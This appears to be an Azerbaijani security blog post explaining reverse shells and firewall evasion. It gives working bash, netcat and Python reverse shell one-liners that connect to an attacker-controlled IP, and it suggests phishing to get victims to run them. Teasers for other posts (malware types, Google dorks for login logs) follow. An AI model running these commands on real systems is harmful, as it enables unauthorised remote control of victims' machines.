Ana içeriğe atla

Reverse Shell nədir? Necə edilir?

Qurbanın kompüterində işə salındıqda hackerin dinlədiyi porta qoşulma sorğusu göndərən və hackerin () qurbanın kompüterində əmrləri yerinə yetirməsinə imkan verən skriptlərə reverse shell əmrləri deyilir. Pentest  zamanı əmrlərin icrası ilə bağlı zəifliyi tapmaq şansınız varsa, çox güman ki, qısa müddət sonra shell istifadə edərək sistemə giriş əldə edəcəksiniz. Yeni hesab / SSH açarı / .rhosts faylı əlavə etmək mümkün deyilsə, növbəti addımınız reverse shell istifadə etmək və ya qabığı TCP portuna qoşmaq olacaq.


Firewalllar portlara nəzarət edə bilər. Məsələn, xarici şəbəkədən DMZ şəbəkəsinə gələrkən 80 və 443 nömrəli portlara, daxili şəbəkəni xarici şəbəkəyə buraxarkən 53, 80 və 443 nömrəli portlara icazə verilir. Xarici şəbəkədən daxili şəbəkəyə gələn bütün sorğular bloklansın bu halda  daxili şəbəkədən xarici şəbəkəyə sorğuların keçməsinə imkan verən portlardan birindən xarici şəbəkəyə qoşulma həyata keçirilərsə, firewall bu IP ünvanını bloklamayacaq və ondan sorğuları qəbul edəcək. Reverse shell kənar şəbəkədən daxil olan bağlantıların bloklandığı halda firewall qaydalarından yayınmaq üçün istifadə olunur


Reverse shell ilə bağlı vacib məqamlardan biri də əlaqənin içəridən başladığı məlumatıdır. Bunun üçün qurbana fişinq hücumundan istifadə olunur. Burada vacib məqam reverse shell  olan faylı işə salmaqdır. Fayl işə salındıqda, daxili şəbəkədən xarici şəbəkədə göstərilən IP ünvanının müəyyən edilmiş portuna qoşulmağa cəhd edilir. Bağlantı qurulduqda, firewallun status xüsusiyyətindən istifadə edərək eyni əlaqə üzərindən reverse shell başlanır və beləliklə hədəf cihazda shell əldə edilir


videoda shell almaq üçün bash-dan istifadə edilib dinləmə üçün isə netcat


dinləmə nc -lvnp PORT


shell almaq üçün başqa üsullar:


bash -i >& /dev/tcp/10.10.10.10/9001 0>&1


nc 10.10.10.10 9001 -e bash


export RHOST="10.10.10.10";export RPORT=9001;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

Bu blogdaki popüler yayınlar

Zərərli Proqram Təminatları (Malware-lər)

  Zərərli Proqram Təminatları   ( Mal icious Soft ware s/ Malware) Viruslar Öz-özünü kopyalaya bilən və yayılaraq sistemi dəyişdirə bilər proqram təminatlarıdır. Yəni hər malware virus deyil. Başladılmağa ehtiyacları var ; Bu başlatmaq o demək deyil ki, yalnız qurban tərəfindən olsun, hansısa proqram təminatı tərəfindəndə ola bilər. Başladılana qədər səssiz gözləyirlər. Virus növü Funksiyası Boot                            Əməliyyat sisteminin açılışında işləyərək özünü yükləyir. Web Scripting Veb saytları və brauzerindəki boşluqları istismar edir. Hijacker                                   Veb brauzer funksiyalarının ələ keçirərək fərqli səhifələrə yönləndirir. Resident RAM-a yerləşərək qalıcılıq təşkil edir. Polymorphic Antivirustan qaçmaq üçün kodunu hər açılışda yeniləyir. Makro (VBA) Öz kodunu fayllara əla

Linux Dərsləri 1

 LİNUX DƏRSLƏRİ 1 Linux nədir?  Əvvəlcədən bunu bilin ki, Linux tək başına  əməliyyat sistemi deyildir. Linux kerneldir.  Bütün sistemin idarəsindən məsuldur. Programlar ilə avadanlıq arasında əlaqəni təmin edər. Fayl sistemləri, istifadəçilər, programlar, drayverlər və s. hamsı kernel tərəfindən idarə edilir. UNİX nədir? Bu bölmədə biz sizə Linux haqqında ümumi anlayış verməklə, Linux-un mənşəyini çox tarixi və ya qeyri-texniki şəkildə əhatə edəcəyik. O vaxt Bell Labs-da hazırlanmış UNIX adlı əməliyyat sistemi var idi. Bu sistem öz alətləri sayəsində müxtəlif universitetlərdə və digər ehtiyac duyulan qurumlarda istifadə olunurdu. İndiyə qədər hər şey yaxşı idi, lakin Unix lisenziya haqqı (yəni pullu idi) tələb edirdi və bu, əlbəttə ki, sistemdən istifadə edə biləcək insanların sayını xeyli azaldırdı. Yəni insanların ehtiyacı olsa belə, lisenziya pulu olduğundan bu sistemdən istifadə edə bilmirdilər. Nəticədə “pul verməkdənsə, öz əməliyyat sistemimi yazaram” deyə düşünənlər oldu və bu,

Google Dork nədir? Google dork nümunələri

  Google Dork nədir? Google dorks, Google-da daha sürətli və daha effektiv axtarış etmək üçündür. Tutaq ki, bizə yalnız FaceBook-da Azerbaycan sözü keçən nəticələr çıxmasını istəyirik. Bu zaman Google dorklarından istifadə edərək rahatlıqla tapa bilərik. 1) intittle:  Bu dork sayəsində  başlığı ilə yazdığımız sözün eynisi olan saytları qarşımıza çıxarır. Məsələn:   intittle:məktəb 2)   intext: Bu dork sayəsində yazdığımız sözü mətndə axtarır və mətnində yazdığımız sözün eynisi olan saytlar (linklər) qarşımıza çıxır Məsələn: intext:Shirnov039 3) inurl: Bu  dork sayəsində linkdə yaxud link uzantısında yazdığımız sözün eynisi olan linkləri qarşımıza çıxarır. Məsələn: inurl:tedris.html 4) ext: Bu dork sayəsində faylın uzantısını göstərə bilərik.  Məsələn: inurl:login ext:log 5) site: Bu dork sayəsində istədiyimiz ölkə domain-ə uyğun saytları çıxarda bilərik. Yəni ancaq .az (Azərbaycan) saytları yaxud ancaq .am (ermənistan) saytları. Məsələn: inurl:login site:am